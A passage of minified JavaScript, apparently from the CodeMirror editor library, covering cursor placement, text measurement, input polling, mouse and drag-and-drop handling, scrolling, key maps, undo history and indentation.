null!=Un&&(a.other=l(e,Un)),a}function O(t,e,r,n){return(t=new Ct(t,e)).xRel=n,r&&(t.outside=!0),t}function E(t,e,r){var n=t.doc;if(0>(r+=t.display.viewOffset))return O(n.first,0,!0,-1);if((o=He(n,r))>(i=n.first+n.size-1))return O(n.first+n.size-1,Se(n,i).text.length,!0,1);for(0>e&&(e=0);;){var i,o=z(t,i=Se(n,o),o,e,r),l=(i=re(i))&&i.find();if(!i||!(o.ch>l.from.ch||o.ch==l.from.ch&&0<o.xRel))return o;o=l.to.line}}function z(t,e,r,n,i){function o(n){return n=W(t,Ct(r,n),"line",e,c),s=!0,l>n.bottom?n.left-a:l<n.top?n.left+a:(s=!1,n.left)}var l=i-De(t,e),s=!1,a=2*t.display.wrapper.clientWidth,c=M(t,e),u=We(e),h=e.text.length,f=(i=kr(e),Sr(e)),d=o(i),p=s,m=o(f),g=s;if(n>m)return O(r,f,g,1);for(;;){if(u?f==i||f==Nr(e,i,1):1>=f-i){for(n-=(u=n<d||n-d<=m-n?i:f)==i?d:m;zn.test(e.text.charAt(u));)++u;return O(r,u,u==i?p:g,0>n?-1:n?1:0)}var v=Math.ceil(h/2),y=i+v;if(u){y=i;for(var b=0;b<v;++b)y=Nr(e,y,1)}(b=o(y))>n?(f=y,m=b,(g=s)&&(m+=1e3),h=v):(i=y,d=b,p=s,h-=v)}}function I(t){if(null!=t.cachedTextHeight)return t.cachedTextHeight;if(null==Zr){Zr=mr("pre");for(var e=0;49>e;++e)Zr.appendChild(document.createTextNode("x")),Zr.appendChild(mr("br"));Zr.appendChild(document.createTextNode("x"))}return vr(t.measure,Zr),3<(e=Zr.offsetHeight/50)&&(t.cachedTextHeight=e),gr(t.measure),e||1}function F(t){if(null!=t.cachedCharWidth)return t.cachedCharWidth;var e=mr("span","x"),r=mr("pre",[e]);return vr(t.measure,r),2<(e=e.offsetWidth)&&(t.cachedCharWidth=e),e||10}function P(t){t.curOp={changes:[],forceUpdate:!1,updateInput:null,userSelChange:null,textChanged:null,selectionChanged:!1,cursorActivity:!1,updateMaxLine:!1,updateScrollPos:!1,id:++nn},Hn++||(Nn=[])}function R(t){var e,r,n,i=t.curOp,o=t.doc,l=t.display;if(t.curOp=null,i.updateMaxLine&&c(t),l.maxLineChanged&&!t.options.lineWrapping&&l.maxLine){var s,a=!1;if((s=l.maxLine).markedSpans)for(var u=0;u<s.markedSpans;++u){var h=s.markedSpans[u];!h.collapsed||null!=h.to&&h.to!=s.text.length||(a=!0)}(a=!a&&S(t,s))||s.text.length>=t.options.crudeMeasuringFrom?s=k(t,s,s.text.length,a&&a.measure,"right").right:(a=(s=me(t,s,null,!0).pre).appendChild(wr(t.display.measure)),vr(t.display.measure,s),s=br(a).right-br(t.display.lineDiv).left),l.sizer.style.minWidth=Math.max(0,s+3+Dn)+"px",l.maxLineChanged=!1,(s=Math.max(0,l.sizer.offsetLeft+l.sizer.offsetWidth-l.scroller.clientWidth))<o.scrollLeft&&!i.updateScrollPos&&rt(t,Math.min(l.scroller.scrollLeft,s),!0)}if(i.updateScrollPos?e=i.updateScrollPos:i.selectionChanged&&l.scroller.clientHeight&&(e=Ot(t,(e=W(t,o.sel.head)).left,e.top,e.left,e.bottom)),(i.changes.length||i.forceUpdate||e&&null!=e.scrollTop)&&(r=m(t,i.changes,e&&e.scrollTop,i.forceUpdate),t.display.scroller.offsetHeight&&(t.doc.scrollTop=t.display.scroller.scrollTop)),!r&&i.selectionChanged&&b(t),i.updateScrollPos?(r=Math.max(0,Math.min(l.scroller.scrollHeight-l.scroller.clientHeight,e.scrollTop)),e=Math.max(0,Math.min(l.scroller.scrollWidth-l.scroller.clientWidth,e.scrollLeft)),l.scroller.scrollTop=l.scrollbarV.scrollTop=o.scrollTop=r,l.scroller.scrollLeft=l.scrollbarH.scrollLeft=o.scrollLeft=e,d(t),i.scrollToPos&&Wt(t,St(t.doc,i.scrollToPos.from),St(t.doc,i.scrollToPos.to),i.scrollToPos.margin)):e&&(o=Wt(t,t.doc.sel.head,null,t.options.cursorScrollMargin),t.state.focused)&&(r=br((l=t.display).sizer),e=null,0>o.top+r.top?e=!0:o.bottom+r.top>(window.innerHeight||document.documentElement.clientHeight)&&(e=!1),null==e||Ur||((r="none"==l.cursor.style.display)&&(l.cursor.style.display="",l.cursor.style.left=o.left+"px",l.cursor.style.top=o.top-l.viewOffset+"px"),l.cursor.scrollIntoView(e),r&&(l.cursor.style.display="none"))),i.selectionChanged&&x(t),t.state.focused&&i.updateInput&&Y(t,i.userSelChange),o=i.maybeHiddenMarkers,l=i.maybeUnhiddenMarkers,o)for(e=0;e<o.length;++e)o[e].lines.length||qe(o[e],"hide");if(l)for(e=0;e<l.length;++e)l[e].lines.length&&qe(l[e],"unhide");if(--Hn||(n=Nn,Nn=null),i.textChanged&&qe(t,"change",t,i.textChanged),i.cursorActivity&&qe(t,"cursorActivity",t),n)for(e=0;e<n.length;++e)n[e]()}function B(t,e){return function(){var r=t||this,n=!r.curOp;n&&P(r);try{var i=e.apply(r,arguments)}finally{n&&R(r)}return i}}function G(t){return function(){var e,r=this.cm&&!this.cm.curOp;r&&P(this.cm);try{e=t.apply(this,arguments)}finally{r&&R(this.cm)}return e}}function V(t,e){var r,n=!t.curOp;n&&P(t);try{r=e()}finally{n&&R(t)}return r}function K(t,e,r,n){null==e&&(e=t.doc.first),null==r&&(r=t.doc.first+t.doc.size),t.curOp.changes.push({from:e,to:r,diff:n})}function U(t){t.display.pollingFast||t.display.poll.set(t.options.pollInterval,(function(){_(t),t.state.focused&&U(t)}))}function X(t){var e=!1;t.display.pollingFast=!0,t.display.poll.set(20,(function r(){_(t)||e?(t.display.pollingFast=!1,U(t)):(e=!0,t.display.poll.set(60,r))}))}function _(t){var e=t.display.input,r=t.display.prevInput,n=t.doc,i=n.sel;if(!t.state.focused||Gn(e)||$(t)||t.state.disableInput)return!1;t.state.pasteIncoming&&t.state.fakedLastChar&&(e.value=e.value.substring(0,e.value.length-1),t.state.fakedLastChar=!1);var o=e.value;if(o==r&&wt(i.from,i.to))return!1;if(Wr&&!Er&&t.display.inputHasSelection===o)return Y(t,!0),!1;var l=!t.curOp;l&&P(t),i.shift=!1;for(var s=0,a=Math.min(r.length,o.length);s<a&&r.charCodeAt(s)==o.charCodeAt(s);)++s;return a=i.from,i=i.to,s<r.length?a=Ct(a.line,a.ch-(r.length-s)):t.state.overwrite&&wt(a,i)&&!t.state.pasteIncoming&&(i=Ct(i.line,Math.min(Se(n,i.line).text.length,i.ch+(o.length-s)))),r=t.curOp.updateInput,s={from:a,to:i,text:Rn(o.slice(s)),origin:t.state.pasteIncoming?"paste":"+input"},mt(t.doc,s,"end"),t.curOp.updateInput=r,Qe(t,"inputRead",t,s),1e3<o.length||-1<o.indexOf("\n")?e.value=t.display.prevInput="":t.display.prevInput=o,l&&R(t),t.state.pasteIncoming=!1,!0}function Y(t,e){var r,n,i=t.doc;wt(i.sel.from,i.sel.to)?e&&(t.display.prevInput=t.display.input.value="",Wr&&!Er&&(t.display.inputHasSelection=null)):(t.display.prevInput="",n=(r=Vn&&(100<i.sel.to.line-i.sel.from.line||1e3<(n=t.getSelection()).length))?"-":n||t.getSelection(),t.display.input.value=n,t.state.focused&&sr(t.display.input),Wr&&!Er&&(t.display.inputHasSelection=n)),t.display.inaccurateSelection=r}function j(t){"nocursor"!=t.options.readOnly&&(!_r||document.activeElement!=t.display.input)&&t.display.input.focus()}function $(t){return t.options.readOnly||t.doc.cantEdit}function Z(t,e){for(var r=e.target||e.srcElement;r!=t.wrapper;r=r.parentNode)if(!r||r.ignoreEvents||r.parentNode==t.sizer&&r!=t.mover)return!0}function q(t,e,r){var n,i,o=t.display;if(!r&&((r=e.target||e.srcElement)==o.scrollbarH||r==o.scrollbarH.firstChild||r==o.scrollbarV||r==o.scrollbarV.firstChild||r==o.scrollbarFiller||r==o.gutterFiller))return null;o=br(o.lineSpace);try{n=e.clientX,i=e.clientY}catch(t){return null}return E(t,n-o.left,i-o.top)}function Q(t){function e(t){if(!wt(m,t))if(m=t,"single"==u)At(i.doc,St(l,a),t);else if(d=St(l,d),p=St(l,p),"double"==u){var e=Bt(Se(l,t.line).text,t);Lt(t,d)?At(i.doc,e.from,p):At(i.doc,d,e.to)}else"triple"==u&&(Lt(t,d)?At(i.doc,p,St(l,Ct(t.line,0))):At(i.doc,d,St(l,Ct(t.line+1,0))))}function r(t){var n=++v,s=q(i,t,!0);if(s)if(wt(s,h)){var a=t.clientY<g.top?-20:t.clientY>g.bottom?20:0;a&&setTimeout(B(i,(function(){v==n&&(o.scroller.scrollTop+=a,r(t))})),50)}else{i.state.focused||ct(i),h=s,e(s);var c=f(o,l);(s.line>=c.to||s.line<c.from)&&setTimeout(B(i,(function(){v==n&&r(t)})),150)}}function n(t){v=1/0,Ue(t),j(i),Ze(document,"mousemove",y),Ze(document,"mouseup",b)}if(!Je(this,t)){var i=this,o=i.display,l=i.doc,s=l.sel;if(s.shift=t.shiftKey,Z(o,t))Ir||(o.scroller.draggable=!1,setTimeout((function(){o.scroller.draggable=!0}),100));else if(!J(i,t,"gutterClick",!0,Qe)){var a=q(i,t);switch(je(t)){case 3:return void(tn&&ht.call(i,i,t));case 2:return Ir&&(i.state.lastMiddleDown=+new Date),a&&At(i.doc,a),setTimeout(fr(j,i),20),void Ue(t)}if(a){i.state.focused||ct(i);var c=+new Date,u="single";Qr&&Qr.time>c-400&&wt(Qr.pos,a)?(u="triple",Ue(t),setTimeout(fr(j,i),20),function(t,e){At(t.doc,Ct(e,0),St(t.doc,Ct(e+1,0)))}(i,a.line)):qr&&qr.time>c-400&&wt(qr.pos,a)?(u="double",Qr={time:c,pos:a},Ue(t),c=Bt(Se(l,a.line).text,a),At(i.doc,c.from,c.to)):qr={time:c,pos:a};var h=a;if(!i.options.dragDrop||!In||$(i)||wt(s.from,s.to)||Lt(a,s.from)||Lt(s.to,a)||"single"!=u){Ue(t),"single"==u&&At(i.doc,St(l,a));var d=s.from,p=s.to,m=a,g=br(o.wrapper),v=0,y=B(i,(function(t){Wr||je(t)?r(t):n(t)})),b=B(i,n);$e(document,"mousemove",y),$e(document,"mouseup",b)}else{var x=B(i,(function(e){Ir&&(o.scroller.draggable=!1),i.state.draggingText=!1,Ze(document,"mouseup",x),Ze(o.scroller,"drop",x),Math.abs(t.clientX-e.clientX)+Math.abs(t.clientY-e.clientY)<10&&(Ue(e),At(i.doc,a),j(i))}));Ir&&(o.scroller.draggable=!0),i.state.draggingText=x,o.scroller.dragDrop&&o.scroller.dragDrop(),$e(document,"mouseup",x),$e(o.scroller,"drop",x)}}else(t.target||t.srcElement)==o.scroller&&Ue(t)}}}function J(t,e,r,n,i){try{var o=e.clientX,l=e.clientY}catch(t){return!1}if(o>=Math.floor(br(t.display.gutters).right))return!1;n&&Ue(e);var s=br((n=t.display).lineDiv);if(l>s.bottom||!er(t,r))return _e(e);for(l-=s.top-n.viewOffset,s=0;s<t.options.gutters.length;++s){var a=n.gutters.childNodes[s];if(a&&br(a).right>=o)return i(t,r,t,o=He(t.doc,l),t.options.gutters[s],e),_e(e)}}function tt(t){var e=this;if(!Je(e,t)&&!(Z(e.display,t)||e.options.onDragEvent&&e.options.onDragEvent(e,Ke(t)))){Ue(t),Wr&&(on=+new Date);var r=q(e,t,!0),n=t.dataTransfer.files;if(r&&!$(e))if(n&&n.length&&window.FileReader&&window.File)for(var i=n.length,o=Array(i),l=0,s=(t=function(t,n){var s=new FileReader;s.onload=function(){o[n]=s.result,++l==i&&(r=St(e.doc,r),mt(e.doc,{from:r,to:r,text:Rn(o.join("\n")),origin:"paste"},"around"))},s.readAsText(t)},0);s<i;++s)t(n[s],s);else if(!e.state.draggingText||Lt(r,e.doc.sel.from)||Lt(e.doc.sel.to,r))try{if(o=t.dataTransfer.getData("Text")){s=e.doc.sel.from;var a=e.doc.sel.to;Nt(e.doc,r,r),e.state.draggingText&&xt(e.doc,"",s,a,"paste"),e.replaceSelection(o,null,"paste"),j(e)}}catch(t){}else e.state.draggingText(t),setTimeout(fr(j,e),20)}}function et(t,e){2>Math.abs(t.doc.scrollTop-e)||(t.doc.scrollTop=e,Dr||m(t,[],e),t.display.scroller.scrollTop!=e&&(t.display.scroller.scrollTop=e),t.display.scrollbarV.scrollTop!=e&&(t.display.scrollbarV.scrollTop=e),Dr&&m(t,[]),C(t,100))}function rt(t,e,r){(r?e==t.doc.scrollLeft:2>Math.abs(t.doc.scrollLeft-e))||(e=Math.min(e,t.display.scroller.scrollWidth-t.display.scroller.clientWidth),t.doc.scrollLeft=e,d(t),t.display.scroller.scrollLeft!=e&&(t.display.scroller.scrollLeft=e),t.display.scrollbarH.scrollLeft!=e&&(t.display.scrollbarH.scrollLeft=e))}function nt(t,e){var r=e.wheelDeltaX,n=e.wheelDeltaY;null==r&&e.detail&&e.axis==e.HORIZONTAL_AXIS&&(r=e.detail),null==n&&e.detail&&e.axis==e.VERTICAL_AXIS?n=e.detail:null==n&&(n=e.wheelDelta);var i=t.display,o=i.scroller;if(r&&o.scrollWidth>o.clientWidth||n&&o.scrollHeight>o.clientHeight){if(n&&Yr&&Ir)for(var l=e.target;l!=o;l=l.parentNode)if(l.lineObj){t.display.currentWheelTarget=l;break}if(!r||Dr||Rr||null==sn){if(n&&null!=sn){l=n*sn;var s=t.doc.scrollTop,a=s+i.wrapper.clientHeight;0>l?s=Math.max(0,s+l-50):a=Math.min(t.doc.height,a+l+50),m(t,[],{top:s,bottom:a})}20>ln&&(null==i.wheelStartX?(i.wheelStartX=o.scrollLeft,i.wheelStartY=o.scrollTop,i.wheelDX=r,i.wheelDY=n,setTimeout((function(){if(null!=i.wheelStartX){var t=o.scrollLeft-i.wheelStartX,e=o.scrollTop-i.wheelStartY;t=e&&i.wheelDY&&e/i.wheelDY||t&&i.wheelDX&&t/i.wheelDX,i.wheelStartX=i.wheelStartY=null,t&&(sn=(sn*ln+t)/(ln+1),++ln)}}),200)):(i.wheelDX+=r,i.wheelDY+=n))}else n&&et(t,Math.max(0,Math.min(o.scrollTop+n*sn,o.scrollHeight-o.clientHeight))),rt(t,Math.max(0,Math.min(o.scrollLeft+r*sn,o.scrollWidth-o.clientWidth))),Ue(e),i.wheelStartX=null}}function it(t,e,r){if("string"==typeof e&&!(e=xn[e]))return!1;t.display.pollingFast&&_(t)&&(t.display.pollingFast=!1);var n=t.doc,i=n.sel.shift,o=!1;try{$(t)&&(t.state.suppressEdits=!0),r&&(n.sel.shift=!1),o=e(t)!=Wn}finally{n.sel.shift=i,t.state.suppressEdits=!1}return o}function ot(t){var e=t.state.keyMaps.slice(0);return t.options.extraKeys&&e.push(t.options.extraKeys),e.push(t.options.keyMap),e}function lt(t,e){var r=Ut(t.options.keyMap),n=r.auto;clearTimeout(an),n&&!_t(e)&&(an=setTimeout((function(){Ut(t.options.keyMap)==r&&(t.options.keyMap=n.call?n.call(null,t):n,i(t))}),50));var o=Yt(e,!0),l=!1;return!!o&&(l=ot(t),(l=e.shiftKey?Xt("Shift-"+o,l,(function(e){return it(t,e,!0)}))||Xt(o,l,(function(e){if("string"==typeof e?/^go[A-Z]/.test(e):e.motion)return it(t,e)})):Xt(o,l,(function(e){return it(t,e)})))&&(Ue(e),x(t),Er&&(e.oldKeyCode=e.keyCode,e.keyCode=0),Qe(t,"keyHandled",t,o,e)),l)}function st(t){if(this.state.focused||ct(this),!(Je(this,t)||this.options.onKeyEvent&&this.options.onKeyEvent(this,Ke(t)))){Wr&&27==t.keyCode&&(t.returnValue=!1);var e=t.keyCode;this.doc.sel.shift=16==e||t.shiftKey;var r=lt(this,t);Rr&&(un=r?e:null,!r&&88==e&&!Vn&&(Yr?t.metaKey:t.ctrlKey)&&this.replaceSelection(""))}}function at(t){var e=this;if(!(Je(e,t)||e.options.onKeyEvent&&e.options.onKeyEvent(e,Ke(t)))){var r=t.keyCode,n=t.charCode;Rr&&r==un?(un=null,Ue(t)):(Rr&&(!t.which||10>t.which)||Gr)&<(e,t)||(r=String.fromCharCode(null==n?r:n),this.options.electricChars&&this.doc.mode.electricChars&&this.options.smartIndent&&!$(this)&&-1<this.doc.mode.electricChars.indexOf(r)&&setTimeout(B(e,(function(){It(e,e.doc.sel.to.line,"smart")})),75),function(t,e,r){var n=Xt("'"+r+"'",ot(t),(function(e){return it(t,e,!0)}));return n&&(Ue(e),x(t),Qe(t,"keyHandled",t,"'"+r+"'",e)),n}(e,t,r)||(Wr&&!Er&&(e.display.inputHasSelection=null),X(e)))}}function ct(t){"nocursor"!=t.options.readOnly&&(t.state.focused||(qe(t,"focus",t),t.state.focused=!0,-1==t.display.wrapper.className.search(/\bCodeMirror-focused\b/)&&(t.display.wrapper.className+=" CodeMirror-focused"),t.curOp)||(Y(t,!0),Ir&&setTimeout(fr(Y,t,!0),0)),U(t),x(t))}function ut(t){t.state.focused&&(qe(t,"blur",t),t.state.focused=!1,t.display.wrapper.className=t.display.wrapper.className.replace(" CodeMirror-focused","")),clearInterval(t.display.blinker),setTimeout((function(){t.state.focused||(t.doc.sel.shift=!1)}),150)}function ht(t,e){function r(){if(null!=i.input.selectionStart){var t=i.input.value=""+(wt(o.from,o.to)?"":i.input.value);i.prevInput="",i.input.selectionStart=1,i.input.selectionEnd=t.length}}function n(){if(i.inputDiv.style.position="relative",i.input.style.cssText=a,Er&&(i.scrollbarV.scrollTop=i.scroller.scrollTop=s),U(t),null!=i.input.selectionStart){(!Wr||Er)&&r(),clearTimeout(cn);var e=0,n=function(){" "==i.prevInput&&0==i.input.selectionStart?B(t,xn.selectAll)(t):e++<10?cn=setTimeout(n,500):Y(t)};cn=setTimeout(n,200)}}if(!Je(t,e,"contextmenu")){var i=t.display,o=t.doc.sel;if(!(Z(i,e)||er(t,"gutterContextMenu")&&J(t,e,"gutterContextMenu",!1,qe))){var l=q(t,e),s=i.scroller.scrollTop;if(l&&!Rr){t.options.resetSelectionOnContextMenu&&(wt(o.from,o.to)||Lt(l,o.from)||!Lt(l,o.to))&&B(t,Nt)(t.doc,l,l);var a=i.input.style.cssText;if(i.inputDiv.style.position="absolute",i.input.style.cssText="position: fixed; width: 30px; height: 30px; top: "+(e.clientY-5)+"px; left: "+(e.clientX-5)+"px; z-index: 1000; background: white; outline: none;border-width: 0; outline: none; overflow: hidden; opacity: .05; -ms-opacity: .05; filter: alpha(opacity=5);",j(t),Y(t,!0),wt(o.from,o.to)&&(i.input.value=i.prevInput=" "),Wr&&!Er&&r(),tn){Ye(e);var c=function(){Ze(window,"mouseup",c),setTimeout(n,20)};$e(window,"mouseup",c)}else setTimeout(n,50)}}}}function ft(t,e,r){if(!Lt(e.from,r))return St(t,r);var n=e.text.length-1-(e.to.line-e.from.line);return r.line>e.to.line+n?(e=r.line-n)>(n=t.first+t.size-1)?Ct(n,Se(t,n).text.length):Mt(r,Se(t,e).text.length):r.line==e.to.line+n?Mt(r,lr(e.text).length+(1==e.text.length?e.from.ch:0)+Se(t,e.to.line).text.length-e.to.ch):(t=r.line-e.from.line,Mt(r,e.text[t].length+(t?0:e.from.ch)))}function dt(t,e,r){if(r&&"object"==typeof r)return{anchor:ft(t,e,r.anchor),head:ft(t,e,r.head)};if("start"==r)return{anchor:e.from,head:e.from};var n=hn(e);return"around"==r?{anchor:e.from,head:n}:"end"==r?{anchor:n,head:n}:{anchor:(r=function(t){if(Lt(t,e.from))return t;if(!Lt(e.to,t))return n;var r=t.line+e.text.length-(e.to.line-e.from.line)-1,i=t.ch;return t.line==e.to.line&&(i+=n.ch-e.to.ch),Ct(r,i)})(t.sel.anchor),head:r(t.sel.head)}}function pt(t,e,r){return e={canceled:!1,from:e.from,to:e.to,text:e.text,origin:e.origin,cancel:function(){this.canceled=!0}},r&&(e.update=function(e,r,n,i){e&&(this.from=St(t,e)),r&&(this.to=St(t,r)),n&&(this.text=n),void 0!==i&&(this.origin=i)}),qe(t,"beforeChange",t,e),t.cm&&qe(t.cm,"beforeChange",t.cm,e),e.canceled?null:{from:e.from,to:e.to,text:e.text,origin:e.origin}}function mt(t,e,r,n){if(t.cm){if(!t.cm.curOp)return B(t.cm,mt)(t,e,r,n);if(t.cm.state.suppressEdits)return}if(!(er(t,"beforeChange")||t.cm&&er(t.cm,"beforeChange"))||(e=pt(t,e,!0)))if(n=en&&!n&&function(t,e,r){var n=null;if(t.iter(e.line,r.line+1,(function(t){if(t.markedSpans)for(var e=0;e<t.markedSpans.length;++e){var r=t.markedSpans[e].marker;!r.readOnly||n&&-1!=ar(n,r)||(n||(n=[])).push(r)}})),!n)return null;for(t=[{from:e,to:r}],e=0;e<n.length;++e)for(var i=(r=n[e]).find(),o=0;o<t.length;++o){var l=t[o];if(!Lt(l.to,i.from)&&!Lt(i.to,l.from)){var s=[o,1];(Lt(l.from,i.from)||!r.inclusiveLeft&&wt(l.from,i.from))&&s.push({from:l.from,to:i.from}),(Lt(i.to,l.to)||!r.inclusiveRight&&wt(l.to,i.to))&&s.push({from:i.to,to:l.to}),t.splice.apply(t,s),o+=s.length-1}}return t}(t,e.from,e.to)){for(var i=n.length-1;1<=i;--i)gt(t,{from:n[i].from,to:n[i].to,text:[""]});n.length&>(t,{from:n[0].from,to:n[0].to,text:e.text},r)}else gt(t,e,r)}function gt(t,e,r){if(1!=e.text.length||""!=e.text[0]||!wt(e.from,e.to)){r=dt(t,e,r),Ie(t,e,r,t.cm?t.cm.curOp.id:NaN),bt(t,e,r,Jt(t,e));var n=[];Le(t,(function(t,r){!r&&-1==ar(n,t.history)&&(Ge(t.history,e),n.push(t.history)),bt(t,e,null,Jt(t,e))}))}}function vt(t,e){if(!t.cm||!t.cm.state.suppressEdits){var r=t.history,n=("undo"==e?r.done:r.undone).pop();if(n){var i={changes:[],anchorBefore:n.anchorAfter,headBefore:n.headAfter,anchorAfter:n.anchorBefore,headAfter:n.headBefore,generation:r.generation};("undo"==e?r.undone:r.done).push(i),r.generation=n.generation||++r.maxGeneration;for(var o=er(t,"beforeChange")||t.cm&&er(t.cm,"beforeChange"),l=n.changes.length-1;0<=l;--l){var s=n.changes[l];if(s.origin=e,o&&!pt(t,s,!1)){("undo"==e?r.done:r.undone).length=0;break}i.changes.push(ze(t,s));var a=l?dt(t,s,null):{anchor:n.anchorBefore,head:n.headBefore};bt(t,s,a,te(t,s));var c=[];Le(t,(function(t,e){!e&&-1==ar(c,t.history)&&(Ge(t.history,s),c.push(t.history)),bt(t,s,null,te(t,s))}))}}}}function yt(t,e){function r(t){return Ct(t.line+e,t.ch)}t.first+=e,t.cm&&K(t.cm,t.first,t.first,e),t.sel.head=r(t.sel.head),t.sel.anchor=r(t.sel.anchor),t.sel.from=r(t.sel.from),t.sel.to=r(t.sel.to)}function bt(t,e,n,i){if(t.cm&&!t.cm.curOp)return B(t.cm,bt)(t,e,n,i);if(e.to.line<t.first)yt(t,e.text.length-1-(e.to.line-e.from.line));else if(!(e.from.line>t.lastLine())){if(e.from.line<t.first){var o=e.text.length-1-(t.first-e.from.line);yt(t,o),e={from:Ct(t.first,0),to:Ct(e.to.line+o,e.to.ch),text:[lr(e.text)],origin:e.origin}}o=t.lastLine(),e.to.line>o&&(e={from:e.from,to:Ct(o,Se(t,o).text.length),text:[e.text[0]],origin:e.origin}),e.removed=Me(t,e.from,e.to),n||(n=dt(t,e,null)),t.cm?function(t,e,n,i){var o=t.doc,l=t.display,s=e.from,c=e.to,u=!1,h=s.line;if(t.options.lineWrapping||(h=Ne(ne(o,Se(o,s.line))),o.iter(h,c.line+1,(function(t){if(t==l.maxLine)return u=!0}))),!Lt(o.sel.head,e.from)&&!Lt(e.to,o.sel.head)&&(t.curOp.cursorActivity=!0),xe(o,e,n,i,r(t)),t.options.lineWrapping||(o.iter(h,s.line+e.text.length,(function(t){var e=a(o,t);e>l.maxLineLength&&(l.maxLine=t,l.maxLineLength=e,l.maxLineChanged=!0,u=!1)})),u&&(t.curOp.updateMaxLine=!0)),o.frontier=Math.min(o.frontier,s.line),C(t,400),K(t,s.line,c.line+1,e.text.length-(c.line-s.line)-1),er(t,"change"))if(e={from:s,to:c,text:e.text,removed:e.removed,origin:e.origin},t.curOp.textChanged){for(t=t.curOp.textChanged;t.next;t=t.next);t.next=e}else t.curOp.textChanged=e}(t.cm,e,i,n):xe(t,e,i,n)}}function xt(t,e,r,n,i){if(n||(n=r),Lt(n,r)){var o=n;n=r,r=o}"string"==typeof e&&(e=Rn(e)),mt(t,{from:r,to:n,text:e,origin:i},null)}function Ct(t,e){if(!(this instanceof Ct))return new Ct(t,e);this.line=t,this.ch=e}function wt(t,e){return t.line==e.line&&t.ch==e.ch}function Lt(t,e){return t.line<e.line||t.line==e.line&&t.ch<e.ch}function kt(t){return Ct(t.line,t.ch)}function St(t,e){if(e.line<t.first)return Ct(t.first,0);var r=t.first+t.size-1;return e.line>r?Ct(r,Se(t,r).text.length):Mt(e,Se(t,e.line).text.length)}function Mt(t,e){var r=t.ch;return null==r||r>e?Ct(t.line,e):0>r?Ct(t.line,0):t}function Tt(t,e){return e>=t.first&&e<t.first+t.size}function At(t,e,r,n){if(t.sel.shift||t.sel.extend){var i=t.sel.anchor;if(r){var o=Lt(e,i);o!=Lt(r,i)?(i=e,e=r):o!=Lt(e,r)&&(e=r)}Nt(t,i,e,n)}else Nt(t,e,r||e,n);t.cm&&(t.cm.curOp.userSelChange=!0)}function Nt(t,e,r,n,i){(!i&&er(t,"beforeSelectionChange")||t.cm&&er(t.cm,"beforeSelectionChange"))&&(qe(t,"beforeSelectionChange",t,e={anchor:e,head:r}),t.cm&&qe(t.cm,"beforeSelectionChange",t.cm,e),e.anchor=St(t,e.anchor),e.head=St(t,e.head),r=e.head,e=e.anchor);var o=t.sel;o.goalColumn=null,null==n&&(n=Lt(r,o.head)?-1:1),!i&&wt(e,o.anchor)||(e=Dt(t,e,n,"push"!=i)),!i&&wt(r,o.head)||(r=Dt(t,r,n,"push"!=i)),wt(o.anchor,e)&&wt(o.head,r)||(o.anchor=e,o.head=r,n=Lt(r,e),o.from=n?r:e,o.to=n?e:r,t.cm&&(t.cm.curOp.updateInput=t.cm.curOp.selectionChanged=t.cm.curOp.cursorActivity=!0),Qe(t,"cursorActivity",t))}function Ht(t){Nt(t.doc,t.doc.sel.from,t.doc.sel.to,null,"push")}function Dt(t,e,r,n){var i=!1,o=e,l=r||1;t.cantEdit=!1;t:for(;;){var s=Se(t,o.line);if(s.markedSpans)for(var a=0;a<s.markedSpans.length;++a){var c=s.markedSpans[a],u=c.marker;if((null==c.from||(u.inclusiveLeft?c.from<=o.ch:c.from<o.ch))&&(null==c.to||(u.inclusiveRight?c.to>=o.ch:c.to>o.ch))){if(n&&(qe(u,"beforeCursorEnter"),u.explicitlyCleared)){if(s.markedSpans){--a;continue}break}if(u.atomic){if(wt(a=u.find()[0>l?"from":"to"],o)&&(a.ch+=l,0>a.ch?a=a.line>t.first?St(t,Ct(a.line-1)):null:a.ch>s.text.length&&(a=a.line<t.first+t.size-1?Ct(a.line+1,0):null),!a)){if(i)return n?(t.cantEdit=!0,Ct(t.first,0)):Dt(t,e,r,!0);i=!0,a=e,l=-l}o=a;continue t}}}return o}}function Wt(t,e,r,n){for(null==n&&(n=0);;){var i=!1,o=W(t,e),l=r&&r!=e?W(t,r):o,s=(l=Ot(t,Math.min(o.left,l.left),Math.min(o.top,l.top)-n,Math.max(o.left,l.left),Math.max(o.bottom,l.bottom)+n),t.doc.scrollTop),a=t.doc.scrollLeft;if(null!=l.scrollTop&&(et(t,l.scrollTop),1<Math.abs(t.doc.scrollTop-s)&&(i=!0)),null!=l.scrollLeft&&(rt(t,l.scrollLeft),1<Math.abs(t.doc.scrollLeft-a)&&(i=!0)),!i)return o}}function Ot(t,e,r,n,i){var o=t.display,l=I(t.display);0>r&&(r=0);var s=o.scroller.clientHeight-Dn,a=o.scroller.scrollTop,c={},u=r<l;return l=i>(t=t.doc.height+(o.mover.offsetHeight-o.lineSpace.offsetHeight))-l,r<a?c.scrollTop=u?0:r:i>a+s&&(r=Math.min(r,(l?t:i)-s))!=a&&(c.scrollTop=r),a=o.scroller.clientWidth-Dn,r=o.scroller.scrollLeft,e+=o.gutters.offsetWidth,n+=o.gutters.offsetWidth,i=e<(o=o.gutters.offsetWidth)+10,e<r+o||i?(i&&(e=0),c.scrollLeft=Math.max(0,e-10-o)):n>a+r-3&&(c.scrollLeft=n+10-a),c}function Et(t,e,r){t.curOp.updateScrollPos={scrollLeft:null==e?t.doc.scrollLeft:e,scrollTop:null==r?t.doc.scrollTop:r}}function zt(t,e,r){var n=t.curOp.updateScrollPos||(t.curOp.updateScrollPos={scrollLeft:t.doc.scrollLeft,scrollTop:t.doc.scrollTop});t=t.display.scroller,n.scrollTop=Math.max(0,Math.min(t.scrollHeight-t.clientHeight,n.scrollTop+r)),n.scrollLeft=Math.max(0,Math.min(t.scrollWidth-t.clientWidth,n.scrollLeft+e))}function It(t,e,r,n){var i=t.doc;if(null==r&&(r="add"),"smart"==r)if(t.doc.mode.indent)var o=L(t,e);else r="prev";var l,s=t.options.tabSize,a=Se(i,e),c=ir(a.text,null,s),u=a.text.match(/^\s*/)[0];if("smart"==r&&(l=t.doc.mode.indent(o,a.text.slice(u.length),a.text))==Wn){if(!n)return;r="prev"}if("prev"==r?l=e>i.first?ir(Se(i,e-1).text,null,s):0:"add"==r?l=c+t.options.indentUnit:"subtract"==r?l=c-t.options.indentUnit:"number"==typeof 